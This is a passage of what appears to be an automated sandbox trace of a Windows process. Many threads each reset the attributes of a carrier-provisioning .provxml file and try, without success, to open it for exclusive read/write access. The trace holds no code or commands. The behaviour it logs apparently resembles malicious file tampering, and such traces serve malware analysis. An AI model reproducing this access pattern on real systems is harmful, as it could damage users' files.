dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.157] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01df8) returned 1 [0182.157] RtlExitUserThread (Status=0x0) Thread: id = 3210 os_tid = 0x7c0 [0182.158] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.159] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90208) returned 1 [0182.159] RtlExitUserThread (Status=0x0) Thread: id = 3211 os_tid = 0x978 [0182.236] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.384] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.482] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f78) returned 1 [0182.482] RtlExitUserThread (Status=0x0) Thread: id = 3212 os_tid = 0x484 [0182.236] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.644] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.644] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.644] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.644] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90208) returned 1 [0182.644] RtlExitUserThread (Status=0x0) Thread: id = 3213 os_tid = 0x490 [0182.237] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.645] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.645] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.645] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.645] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f904b8) returned 1 [0182.645] RtlExitUserThread (Status=0x0) Thread: id = 3214 os_tid = 0x36c [0182.237] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.646] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\608__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90a18) returned 1 [0182.647] RtlExitUserThread (Status=0x0) Thread: id = 3215 os_tid = 0x378 [0182.238] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.647] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.648] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.648] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.648] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90610) returned 1 [0182.648] RtlExitUserThread (Status=0x0) Thread: id = 3216 os_tid = 0x5a8 [0182.238] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.649] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.649] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.649] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.649] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01df8) returned 1 [0182.649] RtlExitUserThread (Status=0x0) Thread: id = 3217 os_tid = 0xcc4 [0182.238] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.650] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.650] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90b70) returned 1 [0182.650] RtlExitUserThread (Status=0x0) Thread: id = 3218 os_tid = 0x368 [0182.239] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.653] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90360) returned 1 [0182.653] RtlExitUserThread (Status=0x0) Thread: id = 3219 os_tid = 0x1310 [0182.239] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.654] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.654] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.654] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90768) returned 1 [0182.655] RtlExitUserThread (Status=0x0) Thread: id = 3220 os_tid = 0x1314 [0182.240] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.693] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.693] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.693] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0f70) returned 1 [0182.693] RtlExitUserThread (Status=0x0) Thread: id = 3221 os_tid = 0x10f8 [0182.240] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.694] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.694] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f908c0) returned 1 [0182.694] RtlExitUserThread (Status=0x0) Thread: id = 3222 os_tid = 0xd20 [0182.241] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.695] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.695] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.695] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1240) returned 1 [0182.696] RtlExitUserThread (Status=0x0) Thread: id = 3223 os_tid = 0xcdc [0182.241] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.696] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90cc8) returned 1 [0182.697] RtlExitUserThread (Status=0x0) Thread: id = 3224 os_tid = 0xce0 [0182.242] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.655] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.656] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.656] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90e20) returned 1 [0182.656] RtlExitUserThread (Status=0x0) Thread: id = 3225 os_tid = 0xce4 [0182.242] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", 